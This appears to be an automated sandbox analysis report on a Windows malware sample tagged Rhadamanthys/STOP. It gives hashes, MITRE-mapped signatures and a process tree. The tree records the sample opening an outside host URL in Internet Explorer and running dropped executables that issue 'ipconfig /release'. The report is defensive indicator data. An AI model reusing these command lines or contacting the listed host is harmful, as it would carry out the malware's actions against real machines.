17e3c4bfaa28c5bd5db397501f739721ae1628e99c2940536c3f06f8173e2e5b

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 00:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe
Size 243KB
Sample260511-bbdvjagz71
SHA256 17e3c4bfaa28c5bd5db397501f739721ae1628e99c2940536c3f06f8173e2e5b
MD5 221e64158476ef8a6523f0f0e7fb35f6
SHA1 4ec891a2ac40852e019f32c55af58993b41d4d36
SHA512 60f7046df0a874fa821ec0069500c4545b0b4fd6348e6289d17199904ecf301ab8ab548d8ba5bb2c78ae7dfc98f79be1cb174a5ae8e19f822f960c4372b21d73
SSDEEP 3072:f2z9J99LB68zVuJh/7yfa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7T:fwD99LB68zowa3lLNngoqRttA7T
TLSH
T1D8345A1172818071E75A0B78046AE7A1467E7C384BA5D5CFF7A83F791A312E3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
3956	CP.exe
520	uojhbztrlj.exe
1452	CP.exe
4472	CP.exe
1860	i_uojhbztrlj.exe
3404	rljdbwtomg.sys
1492	CP.exe
4396	geywrojhbz.exe
3232	CP.exe
2544	CP.exe
2516	i_geywrojhbz.exe
3388	ljdbvtolgd.sys
5032	CP.exe
2636	eywqoigbyt.exe
2036	CP.exe
1884	CP.exe
4220	i_eywqoigbyt.exe
4200	jdbvtnlgdy.sys
4608	CP.exe
3396	yvqoigaysq.exe
1912	CP.exe
2096	CP.exe
4612	i_yvqoigaysq.exe
3068	lgaysqlida.sys
1768	CP.exe
1228	snlfdxvpni.exe
1128	CP.exe
3040	CP.exe
2736	i_snlfdxvpni.exe
4516	idavsnlfdx.sys
3624	CP.exe
4304	xvpnifaysq.exe
4812	CP.exe
4068	CP.exe
2932	i_xvpnifaysq.exe
4544	causmkfcxu.sys
2888	CP.exe
2552	usnkfcxvpn.exe
3252	CP.exe
4988	CP.exe
116	i_usnkfcxvpn.exe
3164	hcamkecwup.sys
3048	CP.exe
3016	smhczusmhe.exe
1432	CP.exe
1856	CP.exe
4848	i_smhczusmhe.exe
3068	czusmkecwu.sys
2628	CP.exe
2404	rmbwuomgez.exe
3376	CP.exe
1428	CP.exe
980	i_rmbwuomgez.exe
1060	ztrljebwuo.sys
4168	CP.exe
2312	rmjecwuomg.exe
628	CP.exe
3564	CP.exe
3908	i_rmjecwuomg.exe
2932	wqojgbztrl.sys
3816	CP.exe
1860	ojgbytrljd.exe
4232	CP.exe
1616	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvqoigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmbwuomgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfdxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfdxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxrpkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	olgdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smhczusmhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smhczusmhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmbwuomgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_olgdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usnkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvqoigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxrpkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usnkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaysqla.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaysqla.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
216	ipconfig.exe
3924	ipconfig.exe
3276	ipconfig.exe
2524	ipconfig.exe
1456	ipconfig.exe
2744	ipconfig.exe
4384	ipconfig.exe
1744	ipconfig.exe
1872	ipconfig.exe
740	ipconfig.exe
5092	ipconfig.exe
1316	ipconfig.exe
4976	ipconfig.exe
3700	ipconfig.exe
4892	ipconfig.exe
448	ipconfig.exe
1608	ipconfig.exe
4876	ipconfig.exe
4580	ipconfig.exe
4820	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e074eba7e9e0dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{70B84AC1-4CD4-11F1-87B0-E2766003D7F0} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1164940934"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b65e6ec99a492541818867786145380300000000020000000000106600000001000020000000b444a765644cbad3482917ecf4a7a3b246ff91c575e7a7d20a482e9305926d72000000000e80000000020000200000004f5307bb48fe3334341c87e80e0019f4b1c43643e0a0af0b487bd23cff9f1d0820000000efab881719f0a47925bd5f4e478b2151f836e318f0072c446e3417305e99d0ae40000000e8678e83042ca44c102319166e0def73192ba86bc63deb464de93420ca019578fcb5e106f348106fdc99b4fa0c32a24067c3270efdfe951f6c3c168ce3cb0537	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1161659433"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31252705"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31252705"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f048e4a7e9e0dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "485226048"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b65e6ec99a492541818867786145380300000000020000000000106600000001000020000000323394922d1583ecd50869b2974a01bf79a7437290372d3b7a9291daeea5aa81000000000e800000000200002000000078f72f62b3cc631fe2b30d6d8e1f9b3d5db8f8f04e06d6c6460776a8090f3d3c2000000007f57be4bacb450d6852af5d3a1072ed82c62acad572428d75d18f3c62f88b3440000000663db997cb601e5967f1b2e8bdd4c10c7d2eeda9e9f18119e2432a0c4bc2e2460efbd949bc1e369ec422bb431002554ccb7c2f88012411ea326cc80791aadd9c	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1860	i_uojhbztrlj.exe
Token: SeDebugPrivilege	2516	i_geywrojhbz.exe
Token: SeDebugPrivilege	4220	i_eywqoigbyt.exe
Token: SeDebugPrivilege	4612	i_yvqoigaysq.exe
Token: SeDebugPrivilege	2736	i_snlfdxvpni.exe
Token: SeDebugPrivilege	2932	i_xvpnifaysq.exe
Token: SeDebugPrivilege	116	i_usnkfcxvpn.exe
Token: SeDebugPrivilege	4848	i_smhczusmhe.exe
Token: SeDebugPrivilege	980	i_rmbwuomgez.exe
Token: SeDebugPrivilege	3908	i_rmjecwuomg.exe
Token: SeDebugPrivilege	2644	i_ojgbytrljd.exe
Token: SeDebugPrivilege	1580	i_igaytqljdb.exe
Token: SeDebugPrivilege	1560	i_qoigaysqla.exe
Token: SeDebugPrivilege	4528	i_qkidavtnlf.exe
Token: SeDebugPrivilege	2076	i_nkfdxspkic.exe
Token: SeDebugPrivilege	884	i_nhfzxrpkhc.exe
Token: SeDebugPrivilege	1124	i_rpjhczurmk.exe
Token: SeDebugPrivilege	4852	i_rmjecwuomh.exe
Token: SeDebugPrivilege	1876	i_omgeywrojg.exe
Token: SeDebugPrivilege	3992	i_olgdywqoig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1056	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1056	iexplore.exe
1056	iexplore.exe
4484	IEXPLORE.EXE
4484	IEXPLORE.EXE
4484	IEXPLORE.EXE
4484	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 1056	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	84
PID 1056 wrote to memory of 4484	1056	iexplore.exe	85
PID 1064 wrote to memory of 3956	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	86
PID 520 wrote to memory of 1452	520	uojhbztrlj.exe	89
PID 1064 wrote to memory of 4472	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	92
PID 1064 wrote to memory of 1492	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	96
PID 4396 wrote to memory of 3232	4396	geywrojhbz.exe	98
PID 1064 wrote to memory of 2544	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	101
PID 1064 wrote to memory of 5032	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	105
PID 2636 wrote to memory of 2036	2636	eywqoigbyt.exe	107
PID 1064 wrote to memory of 1884	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	110
PID 1064 wrote to memory of 4608	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	114
PID 3396 wrote to memory of 1912	3396	yvqoigaysq.exe	116
PID 1064 wrote to memory of 2096	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	119
PID 1064 wrote to memory of 1768	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	125
PID 1228 wrote to memory of 1128	1228	snlfdxvpni.exe	127
PID 1064 wrote to memory of 3040	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	130
PID 1064 wrote to memory of 3624	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	134
PID 4304 wrote to memory of 4812	4304	xvpnifaysq.exe	136
PID 1064 wrote to memory of 4068	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	139
PID 1064 wrote to memory of 2888	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	146
PID 2552 wrote to memory of 3252	2552	usnkfcxvpn.exe	148
PID 1064 wrote to memory of 4988	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	151
PID 1064 wrote to memory of 3048	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	158
PID 3016 wrote to memory of 1432	3016	smhczusmhe.exe	160
PID 1064 wrote to memory of 1856	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	163
PID 1064 wrote to memory of 2628	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	167
PID 2404 wrote to memory of 3376	2404	rmbwuomgez.exe	169
PID 1064 wrote to memory of 1428	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	172
PID 1064 wrote to memory of 4168	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	176
PID 2312 wrote to memory of 628	2312	rmjecwuomg.exe	178
PID 1064 wrote to memory of 3564	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	181
PID 1064 wrote to memory of 3816	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	185
PID 1860 wrote to memory of 4232	1860	ojgbytrljd.exe	187
PID 1064 wrote to memory of 1616	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	190
PID 1064 wrote to memory of 3736	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	194
PID 3660 wrote to memory of 3496	3660	igaytqljdb.exe	196
PID 1064 wrote to memory of 1312	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	199
PID 1064 wrote to memory of 3364	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	203
PID 4400 wrote to memory of 2044	4400	qoigaysqla.exe	205
PID 1064 wrote to memory of 4876	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	208
PID 1064 wrote to memory of 2092	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	212
PID 4828 wrote to memory of 4564	4828	qkidavtnlf.exe	214
PID 1064 wrote to memory of 888	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	217
PID 1064 wrote to memory of 3960	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	221
PID 1896 wrote to memory of 880	1896	nkfdxspkic.exe	223
PID 1064 wrote to memory of 2056	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	226
PID 1064 wrote to memory of 1044	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	230
PID 4732 wrote to memory of 536	4732	nhfzxrpkhc.exe	232
PID 1064 wrote to memory of 2104	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	235
PID 1064 wrote to memory of 3612	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	239
PID 2344 wrote to memory of 4252	2344	rpjhczurmk.exe	241
PID 1064 wrote to memory of 2632	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	244
PID 1064 wrote to memory of 4452	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	248
PID 1120 wrote to memory of 1752	1120	rmjecwuomh.exe	250
PID 1064 wrote to memory of 3800	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	253
PID 1064 wrote to memory of 4500	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	255
PID 3792 wrote to memory of 448	3792	omgeywrojg.exe	257
PID 1064 wrote to memory of 2512	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	260
PID 1064 wrote to memory of 5044	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	264
PID 4300 wrote to memory of 3908	4300	olgdywqoig.exe	266
PID 1064 wrote to memory of 1588	1064	2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe	269

C:\Users\Admin\AppData\Local\Temp\2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-11_221e64158476ef8a6523f0f0e7fb35f6_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1056 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4484
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uojhbztrlj.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3956
- - C:\Temp\uojhbztrlj.exe
    C:\Temp\uojhbztrlj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1452
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uojhbztrlj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4472
- - C:\Temp\i_uojhbztrlj.exe
    C:\Temp\i_uojhbztrlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geywrojhbz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1492
- - C:\Temp\geywrojhbz.exe
    C:\Temp\geywrojhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3232
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1744
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geywrojhbz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2544
- - C:\Temp\i_geywrojhbz.exe
    C:\Temp\i_geywrojhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\eywqoigbyt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5032
- - C:\Temp\eywqoigbyt.exe
    C:\Temp\eywqoigbyt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2036
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:216
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_eywqoigbyt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1884
- - C:\Temp\i_eywqoigbyt.exe
    C:\Temp\i_eywqoigbyt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4220
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\yvqoigaysq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4608
- - C:\Temp\yvqoigaysq.exe
    C:\Temp\yvqoigaysq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1912
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4892
